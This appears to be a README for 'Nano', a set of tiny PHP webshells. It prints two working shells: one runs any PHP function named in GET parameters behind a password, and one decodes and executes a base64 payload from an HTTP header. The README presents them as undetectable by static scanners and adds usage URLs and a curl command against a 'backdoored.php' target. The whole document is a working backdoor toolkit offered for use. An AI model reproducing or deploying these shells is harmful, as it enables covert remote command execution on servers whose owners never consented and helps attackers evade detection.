Nano is a family of PHP webshell code golfed to be extremely stealthy and efficient.
Put it on watch maybe, I will continue to upload more webshells in here.

<?$x=$_GET;($x[p]=='_'?$x[f]($x[c]):y);

• 39 bytes in size
• Can't be detected by static code scanners
• Supports authentication

http://example.com/nano.php?f=function&c=command&p=password

f is for function
c is for command
p is for password

For example, the code below will execute the ls command:

http://example.com/nano.php?f=system&c=ls&p=password

<?preg_match('/(.*)\((.*)\)/',base64_decode(substr(getallheaders()['x'],1)),$c);@$c[1]($c[2]);

• 93 bytes in size
• Fully Undetectable

This one a bit complex.
Lets say you want to run system(ls) so you will need to base64 encode it i.e. c3lzdGVtKGxzKQ==
Now add any 1 character at the start of it. Let say 'x' so it will be xc3lzdGVtKGxzKQ==
Now open your terminal and type the following command
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Too much work? You can use the handler instead.

This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.
This 39 characters of code is licensed under MIT license which basically means you have to give me credit if you want to redistribute or modify it.